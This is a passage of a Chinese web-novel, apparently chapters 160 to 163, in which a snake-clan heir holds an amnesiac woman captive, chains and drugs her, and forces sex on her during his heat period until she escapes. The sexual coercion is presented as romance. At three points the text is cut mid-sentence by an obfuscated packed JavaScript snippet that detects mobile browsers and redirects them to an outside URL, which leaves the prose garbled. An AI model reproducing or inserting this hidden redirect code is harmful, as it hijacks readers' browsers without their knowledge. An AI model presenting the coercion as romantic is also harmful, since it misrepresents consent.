“你擦吧,我一点都不疼,快一点,我困了,想睡觉了。”
白渊闻言,站起身来,将君羲在床榻上放平,在女人惴惴不安的眼神中,给她侧了下身。
“困了就睡吧,不影响本少族长给你上药。”
君羲侧着身子,闭上眼睛,试图让自己忽略白渊给她上药的手,但可惜……
根本忽略不了,身体反而愈发紧绷。
“兮兮,放松些,药抹不开了。”
君羲也很想放松,但闭上眼睛后,触感变得尤为灵敏,男人的动作她能够清晰感知,根本放松不了一点。
白渊无奈叹了声气,好在伤得严重的地方已经上好药了,别的地方无关紧要,只是一些红痕,就算不上药,过两日,也就能自然消去。
君羲等了半天,也没等到白渊动作。
她没忍住,偷偷张开一只眼,想看看白渊在做些什么——
什么!
男人健硕有型的胸肌和块块分明的腹肌一闪而过,上面还有她留下的抓痕。
白渊就等这一刻,他上床,将女人搂在怀里。
“兮兮,可还满意你看到的?”
君羲装死,不出声。
白渊却不罢休,一直在旁边干扰君羲,不让她安然入睡。
“满意,我满意还不行吗!”
白渊轻笑。
“当然行,好了,兮兮今天辛苦了,累了就先睡吧,本少族长陪你一起。”
谁要他陪了?
白渊在这里,只会调戏她,让她无法入眠。
杂七杂八想了许多,君羲感受到缠在腰上的蛇尾,心里想的是,她什么时候才能逃出去。
之前的种种表现,不过是在演戏。
就算记忆紊乱,君羲也不是那么容易哭的脆弱之人。
这条蛇的警惕性很高,君羲唯有示弱,才能降低白渊的戒心,找机会从蛇窟里逃出去。
梦中……
君羲紧皱着眉,她做了好多好多梦,杂乱无章,却能从这些杂乱的梦境碎片中提取一些关键信息,比如……
她绝不是白渊口中所说的,雪山中的一介孤女。
她的身份应该极其尊贵。
“兮兮,起来用早膳了。”
君羲这一觉睡得头昏脑胀,听到男人喊她起床用早膳的声音,艰难睁开眼,然后又飞快闭上,动了动身子,背对男人。
“我不饿。”
看样子是想继续睡。
白渊也不勉强君羲,他只是端起一碗清淡的白粥,意有所指。
“兮兮不爱吃这个,那便吃另一个,早膳的种类有很多,不会让兮兮失望的。”
说着,白渊便脱下鞋子上了床,就在他即将动作之时,君羲猛地坐起身来,干巴巴地笑。
“哈、哈……我突然就不困了呢,好饿,阿渊,你快带我去吃饭吧,我要饿**。”
“哦?兮兮真的不需要别的早膳填饱肚子?”
君羲飞快下床,为了向白渊表达她想要吃早膳的决心,用极快的速度将自己收拾好。
“真的,阿渊,你也起床吧,我要阿渊陪我吃嘛。”
君羲的一系列动作,简直完美诠释了什么叫做能伸能屈。
白渊勉强压下唇角的笑意。
“既然兮兮这么饿了,那我就勉为其难陪兮兮一起用膳吧。”
男人伸手去牵女人的手,好心情地揉捏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876878|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,忽然,像是想起了什么,突然对君熙说了一句。
“兮兮,本少组长给你准备了礼物,待会儿用完早餐后便给你,希望你能够喜欢。”
君羲在心中腹诽,怕不是什么折腾人的礼物……
面上却是欣喜万分。
“真的吗?谢谢阿渊。”
白渊意味不明地眨了眨眼,想到他特意准备的礼物,突然很期待君羲看到时,会是什么反应。
“不用谢,只要兮兮真心喜欢,本少族长就心满意足了。”
白渊一看就没憋什么好主意,被一条巨蛇缠上,君羲只能。
“只要是阿渊送的,我就都喜欢。”
才怪!
君羲在心中暗暗祈祷,千万别是什么变态之物。
二人坐在一张饭桌上用早膳,白渊的动作算得上慢条斯理,但君羲的动作比他更慢,隔上半天才用勺子舀一口粥,送进嘴中。
白渊也不急,他有的是时间陪君羲玩儿。
男人单手撑着下巴,视线一直紧紧粘在女人身上,半分都不带移动的。
“兮兮,慢点吃,不急。”
反正人在他身边,这顿饭就算再怎么吃,也终有吃完之时。
君羲见实在是拖延不下去了,只好放下碗筷,解释道:
“阿渊见谅,昨日操劳过度,今日没什么胃口,这才吃得这么慢,让阿渊久等了。”
“没关系,本少组长等的。”
白渊长这么大,二十多年来,从未同一个女子有过肌肤之亲。
这么多年,他都熬过来了,不差这一时片刻。
“兮兮,吃好了?”
君羲:……
“嗯嗯,吃好了。”
“既然吃好了,那本少族长带兮兮去看一下礼物?”
白渊虽然用的是询问的语气,但君羲知道,她根本没有拒绝的余地。
“好啊。”
君羲跟在白渊身后,进入前不久缠绵的房内,一眼就看到了放在床上的锁链。
君羲停住脚步,不知为何,这一幕有些似曾相识。
“阿渊,这……”
白渊点了点头,不容抗拒地拉着女人的手,走向床边,拾起一条银色的锁链。
男人将女人往床榻上一放,蹲下身,握住女人的脚踝。
咔擦——
锁链的大小刚刚好,能将女人白皙的脚踝锁住。
君羲本想挣扎,略一思索,停了挣扎的动作,乖巧地任由白渊用锁链困住自由。
“阿渊,这是……”
白渊大手握住君羲脚踝,连同冰凉的锁链一起。
他近乎痴迷,感受着女人战栗的皮肤,唇瓣越靠越近——
君羲忍不下去了,出声想要阻止。
“别……”
白渊一把控住君羲欲往后的腿,语调漫不经心又带着强硬。
“别动。”
一吻落下,君羲瞳孔微缩。
白渊居然吻她的脚踝,冰蓝的眸近乎虔诚。
不,准确地来说,是吻在冰凉的锁链上。
就像在对待一件珍贵而易碎的宝物。
“兮兮,很漂亮。”
男人没头没尾说了一句,君羲不解其意,白渊突然笑了,像一个疯子。
“兮兮带上脚链很漂亮,我很喜欢,喜欢极了,一直带着好不好?”
……
第161章 你的尾巴好厉害
面对一个疯子,为了保证自己的安全,最好的办法就是顺从,在择机逃离。
君羲也笑了,笑得一脸甜蜜。
“好啊,只要阿渊喜欢,兮兮都可以的。”
内心:兮兮答应的,关她君羲什么事?
除了脚踝处的锁链,白渊还准备了腰上的锁链、脖子上的锁链。
脖子上的锁链做了特殊设计,银色金属中间镂空,边缘用柔软皮**衔接,皮**是黑色,光泽度极好,和君羲的肤色很相配。
白渊很满意君羲的听话,女人失忆对他来说反而是一件好事。
最好是永远忘却前尘,只记得他。
这样,君羲就是他一个人的所有物了。
“兮兮,真乖。”
君羲声音夹起来,仿佛在面对自己心爱之人。
“那……阿渊喜欢这样的我吗?”
白渊化出蛇尾,紧紧缠绕,身体力行表达了自己内心的欢喜。
血液流速变快,空气中,似乎多了一丝若有似无的**花香。
君羲仔细辨别,发现,**花香出自白渊身上……
奇怪,之前并没有在白渊身上闻到香味啊,难不成是她的错觉?
君羲有些怀疑自己的嗅觉,鬼使神差靠男人胸膛越来越近,近乎埋进男人颈窝。
她没注意到白渊越发晦暗幽深的眼神,女人的举动显而易见撩起了男人熊熊燃烧的**。
可……
君羲之前受伤了,他刚给君羲上好药。
为了长久打算,他现在必须得忍。
白渊深呼吸几次,试图将周身热度降下去。
“阿渊,你怎么了?”
突然搞出这么重的呼吸声,把她吓了一跳。
白渊抬手,一把捂住君羲透亮的眼眸。
“别这么看着我,兮兮……”
缠在腰间的蛇尾越发紧了,君羲有些不适的皱了皱眉,有点疼。
而且,这调皮的尾巴越来越不老实了,不在满足于女人纤细腰肢,试图寻找让其舒适的位置。
“阿渊,疼。”
“抱歉,兮兮对我吸引力太大了,我有些忍不住。”
君羲掰开白渊的手,就看到男人凶狠、充满欲色的眼神,似乎要将她整个人拆骨入腹!
蛇性本淫,古人诚不欺她也。
君羲算是见识到了,白渊是不动情则已,一动情就是烈火燎原,无法停息。
最重要的是,君羲根本不知道,她究竟做了什么才导致白渊如此纵欲……
她明明什么都没做啊!
相比君羲的惊叹和茫然,白渊更清楚自己身上到底发生了什么事。
他的发热期快要到了。
白渊在遇到君羲之前,从来没有过发热期,所以,这次发热期来临,注定来势汹汹,没那么好平息。
白渊本以为他不过是着迷于君羲身上的清冷雪香,但现在看来,似乎并不至于如此。
他居然被君羲引动了发热期,这是白渊万万有想到的。
白渊以为,他可能就是一个残缺的蛇族。
他甚至认为,没有发热期也挺好,他不想成为欲望的奴隶,有损他的赫赫威名。
这一切,在碰到君羲之后,都变得不一样了。
白渊感情凉薄,从不相信一见钟情,但如今……
他似乎对君羲,是生理性的喜欢,所有,才会在碰了君羲身体后,沉迷其中,不可自拔。
“不碍事,兮兮。”
君羲心里直抽抽,鬼才信白渊的鬼话,真不碍事,倒是把缠在她腰上的蛇尾挪开啊!
那蛇尾去了不该去的地方,君羲绷紧了腰身,本想用手去阻拦,却被白渊察觉了意图,先行一步攥住了她的手腕,动弹不了分毫。
君羲满头雾水,这就是……白渊说的不碍事?
他一条蛇,本来一年四季,都该是冷冰冰的,现在却比她一个人族体温还要高。
君羲有脑子,自己会判断。
她要是听了白渊的话,那就是自己给自己挖坑,还顺带用土把自己埋了。
心里虽然这么想,但君羲面上却是露出一抹恰到好处的关心。
“阿渊,真的没事吗?”
丹凤眼含情脉脉,她深情款款对白渊道:
“阿渊有任何事都可以告诉兮兮,兮兮会永远站在阿渊身边。”
白渊心神荡漾,身体里的血液流速越发的快,空气中的**花香浓郁到近乎刺鼻。
君羲此刻已经意识到事情不太对劲了。
她似乎说了什么了不得的话,导致男人的身体现在像火炉一样,烫得她都快要出汗了。
一截蛇尾巴尖儿探出被面,俏皮地在君羲面前晃悠,似乎想吸引女人的注意力。
君羲一脸茫然,蛇也会摇尾巴吗?
事实证明,蛇不但会摇尾巴,还会更为精巧地活计。
蛇尾巴尖去触碰女人的下巴,却没得到女人的回应,因为君羲已经被白渊吸引了全副心神,根本没有多余的注意力分给尾巴尖儿。
白渊的尾巴尖儿跟白渊本人仿佛不是一体似的。
蛇尾巴尖儿蔫蔫的,不过,它没有气馁,胡乱晃荡了几圈后,它违背白渊的意志,奋力往君羲眼前凑。
颤颤巍巍比了个爱心形状。
君羲都不知道,蛇尾巴居然是这么柔软灵活的。
“阿渊,你的尾巴好厉害,它会比心诶。”
君羲也不想心动的,但谁会拒绝一截漂亮的、会比心讨她欢心的尾巴尖儿呢?
白渊不满,君羲的注意力只能在他身上,旁的不想干的,一律不该占有女人的注意力。
他试图控制蛇尾巴尖儿,但可惜,他的尾巴有自己的想法,毫不客气抽了白渊的手一尾巴。
啪!
老响了!
君羲好奇,伸出食指,去碰打了主人,又装作无辜熟练朝自己比心的蛇尾巴尖儿。
然后——
蛇尾巴尖儿红温了!
银白色的蛇鳞硬生生变成了粉色,就像在春风里,穿过开得正好的桃花,被染上了一层淡淡的粉。
君羲更惊奇了,一下又一下去轻戳白渊的蛇尾巴尖儿。
蛇尾巴尖儿就像喝了酒,晃晃悠悠的,比的爱心都开始歪歪斜斜的,老可爱了。
君羲全然被白渊的尾巴尖儿吸引,完全没注意,抱着她的男人快气疯了!
白渊:从来没觉得自己的尾巴那么讨厌过!
怎么就那么能显摆呢?
会比心了不起啊!
他也会比啊,君羲倒是看看他啊。
白渊用尽全部心神控制蛇尾,总算把蛇尾收了回去。
那该死的蛇尾巴尖儿,还超绝不经意撩过君羲的手背,白渊被气得眼睛都红了。
“诶?阿渊,你尾巴怎么收起来了?”
白渊的尾巴可比白渊本人可爱多了,又会卖乖又会撒娇,简直是戳中了君羲的心巴。
好可惜,若是蛇尾巴尖儿离开本体,就会失去活力。
如若不然,君羲真想在逃走时,带走可爱会比心的蛇尾巴尖儿。
白渊:论妻主喜欢他身上的零部件超过喜欢他怎么办?
这种不可控的情况,其实都是因为发热期。
蛇尾被君羲所吸引,直观表达了白渊内心的喜爱。
若是真正的发热期到了,白渊会做出更多不可思议的事情。
那都是以后的事情了,今晚注定不会干柴烈火。
白渊像八爪鱼一样缠住君羲,感受着女人体温和体香,渐渐地,熟睡过去。
识时务者为俊杰,僵持着不睡,苦的是自己。
再说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880993|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,睡饱了,打起精神才能更好地逃跑,君羲在白渊怀中找了个舒服的位置,靠在上面,睡得香甜。
次日,君羲是被热醒的。
汗水沾湿了她的衣衫,她感觉自己就像置身岩浆中一样,就连呼吸就连着灼热。
“热,好热……”
君羲猛地睁开眼,她依旧保持着前一天入睡的姿势,男人紧闭着眼,蛇尾不受控制地出现。
先是在君羲腰上缠了一圈,然后又在君羲手腕上缠了一圈,蛇尾巴尖儿见君羲醒了,高兴地在手背上点点点。
“阿渊?”
没反应。
君羲蹙眉,该不会是温度太高,被烧成傻子了吧?
她再次喊白渊的名字。
“白渊,白渊,白渊……”
白渊睁眼,这双眼极其纯净,像无人禁区里最清澈的那一汪清泉。
“夫人!”
君羲猛地一咳,白渊喊她夫人?是从哪里学来的称呼?
蛇族是雌尊族群啊,就算白渊身份特俗,也不该啊。
“你该唤我妻主。”
白渊眼神亮晶晶,尾巴晃啊晃,根本不听。
“你就是我夫人!”
白渊神情很不对劲,或许是自己出逃的最好时机。
君羲打破砂锅问到底。
“谁教你这么喊的?”
白渊面带深思,就在君羲以为他能想出什么所以然时,男人忽然抱住她,小狗一样往她脖子处拱。
“夫人~”
“妻主~”
“媳妇儿~”
“……”
君羲确认,白渊真的出问题了。
他只愿意听他想听到的,旁的一概忽略。
“兮兮,我想……”
君羲甩了甩手,冷酷拒绝了白渊未尽的话语。
“不,你不想。”
白渊欲言又止,亦步亦趋跟在君羲身后。
“可是……”
他难受啊,感觉快要**了。
白渊并不确认,他到底能忍多久,一旦压制不住对君羲的欲念和渴望,白渊就会霸王硬上弓。
君羲没好气,在洞穴里找了一块儿冰,往白渊怀里一塞。
“没有可是,热就用冰块降降温,别的……”
“你想都不用想。”
君羲就是欺负白渊这个时候智商不高,她悠哉悠哉吃着早膳,白渊巴巴地坐在她身旁,讨好地给女人布菜添酒。
“这个好吃,兮兮,你多吃点。”
君羲眉心一跳,无事献殷勤,非奸即盗。
不行,不能坐以待毙。
白渊越来越欲念痴缠的眼神让君羲深感不妙,她得想办法,哄男人给她解开脚上的锁链。
“阿渊,跟你商量个事情呗?”
“兮兮你说。”
君羲动了动脚踝,银色锁链哗啦啦作响。
“可不可以给我解开脚链啊?有点难受,阿渊,你看,脚踝都红了。”
白渊坚决摇了摇头,就像被触及了设定好的底线。
“不行,兮兮会跑掉。”
君羲耐心哄。
“不会,兮兮最喜欢阿渊了,怎么会逃呢?”
白渊看似是个没有心眼的小白花,实际上,却是满腹坏水的**花。
“好啊。”
君羲没想到白渊答应得这么干脆,有些喜出望外。
“那快解开吧。”
白渊摇了摇头,说出自己的条件。
“但是,兮兮得做到一件事。”
别说一件事,就是一百件,君羲也会答应——
反正她也没打算兑现。
“可以啊!”
君羲后面每每想起今晚,都追悔莫及。
白渊生怕君羲反悔,立马说出要君羲做的事情。
“陪我度过发热期,若是发热期过后,兮兮还能起床,那就给兮兮解开锁链。”
第162章 筑巢
白渊是第一次发热期爆发,所以对发热期会发生什么事没经验。
君羲倒不是第一次经历白渊的发热期,上一世,她娶白渊进门后,白渊也爆发过发热期。
究其原因,溟汐和白渊都是对她最深情的夫郎。
只不过,又有不同之处。
溟汐对君羲是一见钟情,从君羲救了他的那天起,就把女人视作了他此生唯一的救赎。
白渊对君羲的喜欢,与爱意无关,他纯粹是喜欢君羲身上的清冷雪香,是一种生理性喜欢。
但,溟汐和白渊的喜欢又有相似之处,那就是一旦喜欢上,那就是偏执,痴缠,不死不休。
白渊上一世之所以失宠,很大原因是发热期情欲太强,让君羲一个堂堂八重武者都招架不住。
可惜,白渊和君羲二人,这一世相遇的时机太过巧妙。
一个没经历过,一个经历过,但是现在记忆混乱了……
所以,当这样的二人碰撞在一起,注定是一场旷日持久的拉锯战。
“阿渊,不行,真的不可以!”
君羲瞳孔近乎涣散,明显是受到刺激太过。
然而,白渊此时根本听不进去。
他的发热期来得太晚,压抑了太久太久,一旦爆发,就一发不可收拾。
男人也不准备压制自己,他想要得到的人就在身旁,用不着压抑。
“兮兮,你不是想解开锁链吗?想解开的话,就得乖乖听话哦。”
白玉床上,白渊刚刚拿过来铺上的床褥皱得不成样子,散乱的衣裳有被撕裂的,也有被揉成一团随意丢弃在角落的。
此刻的君羲是真的怕了,女人泫然欲泣,纵然有装的成分在,但起码有一半是真情流露。
君羲紧紧抓住身前的被子,将自己裹成蝉蛹状,任由白渊如何哄骗都不为所动。
她发誓,就算不解开锁链,也要拒绝男人的请求。
锁链是可以后面想办法在解开,可,在继续下去,君羲就要身心俱疲而衰亡了。
谁家好夫郎持久又猛烈啊!
更何况,蛇族的构造注定让人族难以承受。
君羲打定主意,一把扇在白渊脸上,红着眼眶,本来是想凶白渊,但由于嗓子太哑,说出的狠话毫无威慑力。
“我不要解开了。”
白渊抬手摸了摸被女人扇了一巴掌的脸,君羲没有留情,脸颊上还残留着火辣的刺痛。
按理说,白渊身为蛇族尊贵的少族长,受到这种**定会大发雷霆才对。
但是,发热期的白渊显然很不正常,感性的一面被无限放大了,理性的一面被压制到极点。
白渊好心情地扬起唇角,修长如玉的手指在被打红的侧脸上缓慢而轻柔地划过。
“兮兮,你不该打我的。”
因为,比君羲巴掌先到的,是巴掌带过来的清冷淡香。
白渊觉得自己病了,君羲的扇打对他而言不是折辱,而是奖励。
君羲不可置信地盯着男人,红唇轻颤,终究是没忍住骂出口。
“禽兽。”
白渊不以为耻,反以为荣。
他伸手去捉女人躲避的手,攥在掌心不放。
白渊笑得春风得意,反问君羲道:
“啊……这都被兮兮看出来了呀?”
他钳制住君羲双手,伸手去打开“蝉蛹”,眼神越来越亮,就像拆到隐藏珍稀款礼物的幸运儿。
“可是怎么办呢,兮兮越骂……我只会越爽呢。”
禽兽一词,对蛇族来说,是褒义词。
白渊喜欢君羲对他下的定义,并且残忍告诉君羲一个事实。
“兮兮,你还不知道,之前不过是刚开始吧……接下来的七天,才是重头戏。”
白渊喜洁,早在准备将君羲带回洞穴时,就准备好了一应衣食住行相关物件。
洞穴面积极大,说是洞穴,倒不如说是洞穴里建成的豪华奢靡冰晶宫殿,带着蛇族特有的异族特色,烛火映照下,越发美轮美奂,夺人眼球。
君羲的衣裳白渊准备了许多许多许多……套,根本就穿不完。
七天七夜时间里,白渊还记得给君羲补充体力和水分。
只有在进食和喝水时,君羲才有喘息的机会,所以,每一次,君羲都特别积极地申请用膳喝水。
每一次,都不出意外地放慢动作,想借此来拖延时间。
但她就身在白渊地盘,每日都被迫服用强效软筋散,若是没有引走白渊的先决条件,她根本逃不出去。
“兮兮,都三天过去了,我给你用的可是最好的药膏,伤口应该好了吧?”
白渊的眼神如狼似虎,这三天,君羲借着伤口没好,硬是拖住了男人。
君羲一边喝水,一边恨恨咬牙切齿。
就算没做到最后一步,她仍然被白渊缠得心有余悸。
她根本不敢去想象,白渊真的吃到肉,四天过后,她还能活着逃出去不……
“阿渊,难不成你脑子里就只有那件事?你对我的喜欢,就那么浅薄吗?”
君羲神情委屈,这三天,她没少用这套表情和话术诓骗白渊。
然而,这次不好使了。
白渊眼神微眯,周身散发出危险的气息。
他讨厌君羲这种看似讨好实则拒绝的态度。
他忍得够久了!
不想继续忍下去了!
“兮兮,说谎可是会被戳穿的哦,谎言被戳穿,会是什么下场……兮兮你知道吗?”
君羲小口喝水的动作一顿,双腿有些微颤。
她不做回答,也不知该如何作答。
白渊也没想让君羲作答,他不过是想让君羲知道,骗他是会被狠狠责罚的。
他咧嘴一笑,是极为艳丽漂亮的笑容,像极了雨林里漂亮但有剧毒的蛇。
“这样吧,兮兮,你的伤好没好,我要亲自检查才能下定论。”
君羲不捉痕迹想后退,却被白渊拦住了退路,整个人被圈在椅子上,被迫困在男人和椅子间的狭小空间。
“阿渊……我刚刚想起来……”
伤口不疼了,好像好了。
君羲的话来不及说完了,白渊丧失了耐心,女人这三人推三阻四,不让他彻底占用她,已经让白渊心里扭曲到发疯了。
“嘘。”
“兮兮乖乖让我检查伤口,若是没好,我就放过兮兮。”
“但若是好了……”
君羲仰头看白渊,不受控制地吞咽口水。
好了会怎样?
总觉得不会有好下场,早知道,就不该试图一直用这招拖着白渊的。
问就是,君羲后悔极了。
白渊看出了君羲的疑惑和懊悔,他低笑出声,渗人又黏腻。
“呵呵,若是好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880994|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,兮兮剩下的四天,都只能在白玉床上了,吃喝都由我亲自伺候,怎样?”
君羲心头呐喊,不怎么样!
若是可以逃,君羲一定撒腿就跑。
可惜,现在说什么都迟了,白渊铁了心要检查伤口。
君羲没了内力,只能任由白渊宰割。
“阿渊,我错了……”
君羲看着白渊收回手,笑得阴郁又漂亮的时候,心里警铃大作。
果不其然,确认君羲伤口好了后,白渊再没了顾忌。
饿狼扑羊一般,将君羲压在白玉床上。
真正的征战,现在才拉开序幕。
……
再次醒来,君羲已经有些分不清白天和黑夜,她脑袋处于混沌状态,眼神也无法聚焦。
“阿渊?”
没得到回应,君羲心里一喜。
莫不是天赐良机?
她艰难地撑起身子,掀开被子下床。
君羲想确认白渊现在在哪里,若是真的不在这里,那她就要实施逃跑计划了。
这些天,君羲没少装乖,暗想应该是降低了白渊的警惕心。
“阿渊?你在吗?”
还是没有回应,这空荡荡的冰晶宫殿,似乎只有她一个人。
君羲放轻脚步,警惕地朝洞穴外方向走去。
等等——
那是什么?
君羲心中惊疑,她刚刚似乎看到了一条白色巨蛇,那蛇正在搭窝?
搭窝的材料,正是君羲的衣裳。
这七天,因为白渊的洁癖,她没少换衣裳。
君羲一直以为,那些脏衣裳是被下人拿去浆洗了,却没想到,在外间看到了这些脏衣裳!
“兮兮!”
巨蛇化作人类模样,一脸欣喜抱住女人,炫耀他的得意之作。
“我筑的巢,兮兮,怎么样?好不好看,喜不喜欢?”
筑巢?
君羲脑海中有什么一闪而过,蛇族在圆房后,雄性蛇族有筑巢的行为,其目的是吸引伴侣,孕育后代。
后代、后代、后代……
这两个字就像魔音穿脑一样,让君羲脑袋一阵刺痛。
总感觉,她好像把很重要的事情遗忘了。
现在,必须虚以委蛇。
君羲疼得面色发白,仍然朝白渊笑,这是这笑,怎么看,都有些力不从心。
“好看,喜欢。”
白渊注意到君羲脸色不对劲,他有些紧张。
“兮兮,没事吧?是不是伤口又疼了?”
白渊最后还是收着力的,否则,真的用上两个,君羲根本承受不住。
君羲摇头,不想跟白渊说太多。
她的记忆正在断断续续浮现,说不准,哪一天,零零散散的混乱记忆就能恢复如初。
“我没事,阿渊,你不是喜洁吗?这些脏衣裳就不要了吧。”
白渊坚定拒绝。
“不行,兮兮,这些都是我辛辛苦苦才收集起来的,每一件衣裳摆放的位置,都是精挑细选过后的。”
“任何一件,都不可或缺哦。”
君羲是真的看不下去,外裳也就罢了,筑巢的原料居然还有内裳!
白渊一心认为,他筑了爱巢,还特别有搭配天分,君羲一定会喜欢。
但君羲勉强的表情,让白渊清楚明白,她根本就不喜欢他为她筑的巢。
“呜呜……”
君羲:……
第163章 孩儿什么都是假的
君羲此刻的心情就是无语。
谁懂啊,她一个受害者还没哭出声呢,白渊这个加害者反而哭唧唧了?
白渊也就是现在神智不清,所以才看不懂君羲无语的表情下,是怎样的想法。
若是他知道,定然会反驳。
谁说君羲没哭出声?
七天七夜,女人可没少哭,他耐着性子哄了好多次……
发热期刚结束,白渊进入筑巢期。
白渊在发热期尚且有一丝理智在线,那筑巢期,男人就会彻底沦为被感性掌控的傀儡。
男人满心满眼只有自己的伴侣。
他会一次又一次地筑巢,直到另一半满意,愿意和他孕育后代。
若是伴侣不满意,那他心底难受的情绪就会无限放大,委屈到哭出声来。
“别哭。”
君羲不知道该怎么安慰,只能干巴巴哄。
“会眼睛疼。”
白渊眼眶里含着一汪眼泪,见君羲还是无法领会他筑巢的深层含义,终于是憋不住了。
但爱美是刻在他骨子里的东西。
白渊转身,留给君羲一个倔强的背影。
紧接着,他翻进刚筑的巢里,在里面一阵沽涌,一件又一件衣裳被他掀飞,然后又放在新的位置。
白渊身体力行像君羲表示,就算哭了,他也会一直筑巢,直到君羲说出喜欢二字才停。
事情的发展渐渐奇怪起来。
白渊筑巢,君羲看筑巢。
巢穴呈现鸟窝状,说它杂乱无章吧,整体上又能看出是一个鸟巢状,说它精巧细致吧,某些地方的堆砌又显得无序。
白渊顶着一片衣裳,脸颊泛红。
“兮兮,这样呢?喜欢吗?”
君羲看去,发现白渊改变了筑巢方式,由原先的圆形变成了椭圆形。
而且,白渊认真的神色,无疑在告诉君羲,若是她不说喜欢,男人就会一直继续下去……
等等!
君羲脑海中灵光一现。
白渊现在智商明显不高,若是她提出一个超高难度的筑巢方案,白渊专注于筑巢,她是不是就能趁机逃走?
或许,这个办法可以试一试。
反正,就算失败了,也没有什么损失。
“阿渊,你的手可真巧,但是,我更喜欢另外一种巢穴。”
白渊闻言,立马看向君羲。
“兮兮喜欢哪一种?只要兮兮说出口,我一定给兮兮筑出来!”
计划通~
君羲忍住得逞的笑意,装作三分为难三分不忍以及四分的爱意。
“我喜欢羽箭穿心形状的。”
白渊表示不理解,羽箭穿心究竟是什么样子?
君羲既然提出了,那就有一定说辞。
“阿渊别急,我这用笔墨画出来。”
君羲加大难度作画,一支羽箭穿透了两颗心,两颗心紧紧挨在一起,有一种亲密而哀伤的感觉。
白渊几乎一眼就被触动了。
君羲趁热打铁,一顿胡说八道。
“阿渊,这两颗心就代表这你和我,这只羽箭呢,就是我们之间的缘分,因果。”
“一箭穿心固然骇人,但,两颗心脏被一同刺穿,血液流淌、融合在一块,代表着一种亲密无间的真挚感情。”
白渊认真地听着,他觉得,君羲说得很有道理。
鱼儿上钩了!
君羲心里窃喜,面上却是一副期待神情。
“阿渊,我知道你对我情深不悔,所以,能不能搭羽箭穿心巢穴给我啊?”
“阿渊最好了,若是阿渊能答应我,那阿渊就是世界上最好的男子!”
“……”
君羲说了许多,成功把智商不高的白渊带进沟里去了。
“既是兮兮喜欢,那我就给兮兮搭!”
君羲一脸感动。
“阿渊最好了,我就知道,阿渊最爱我了。”
白渊筑巢时,精神高度集中,加上巢穴形状复杂,他需要用上更多的精力才能完成。
所以,君羲等待一会儿后,就开始尝试逃跑。
“兮兮,给我递一下衣裳好不好?”
此刻君羲正好走到了洞**,就差一点点,就能逃出去。
白渊一喊,君羲就收回了脚,捡起三步外那黑色的衣裳。
“是这件吗?”
白渊用力点头,也不知是想到了什么,眼神有些躲闪,但看向君羲时,又有不加掩饰的渴望。
“嗯嗯,是这件,兮兮可以给我送过来吗?”
男人撒娇。
“太远了,我拿不到~”
君羲不为所动,心里只想着逃跑。
“阿渊,我给你扔过去,你接好了。”
她把黑色衣裳团吧团吧,塞成球状,朝白渊方向扔过去。
“兮兮!砸到我了……”
白渊捂着头,明明连个印子都没砸出来,偏偏娇气得很,一看就是耍心眼。
君羲不上当,敷衍安慰几句。
“阿渊先筑巢搞不好,我已经迫不及待了……”
“兮兮过来我就继续。”
白渊心里有种不好的预感,潜意识里,他不想君羲离他那么远,还距离洞**那么近。
眼看白渊就要任性**,君羲心里急转。
“阿渊,待会儿我给你亲自上药好不好?筑巢不能在耽误了,我们的孩儿就差巢穴就能诞生了。”
孩儿什么都是假的。
君羲只不过随口一说,先稳住白渊,在图谋后续。
白渊成功被稳住,他不由得跟着君羲的描述幻想起二人的孩子。
无论是男孩儿还是女孩儿,君羲都会喜欢。
就像喜欢他一样喜欢他们的孩儿。
想到这儿,白渊动力满满。
埋头苦干,筑巢,他就爱筑巢。
为了保险起见,君羲在一旁观看了大约半个时辰,小声开口喊白渊名字。
“白渊?”
白渊没注意,显然注意力已经不在君羲身上了。
君羲不在出声,谨慎小心朝洞穴外走去。
近了……
很近了!
君羲脸上露出欣喜的表情,她已经感受到外面冰冷的空气了。
女人一点一点推开门,缝隙刚好到一个人能过时,便立马闪身出去。
君羲早就摸清了白渊冬眠洞穴的布防——
那就是没有布防……
白渊不喜欢外人打扰,吩咐族人,无要事不得前来打扰。
这下便宜了君羲,轻而易举就离开了洞穴。
可惜,君羲高估了自己的体能和意志力。
蛇族**地距离岚州边境太远,君羲又丧失了内力,加上记忆混乱,一时间,根本没有太好的办法离开十万雪山。
她特意穿了最厚最保暖的衣裳,但她到底是没有在极寒之地生活过,身体的抗寒性很差。
走了大约半天,鞋袜就有些湿了。
冷风呼啸而过,没有内力护体,彻骨
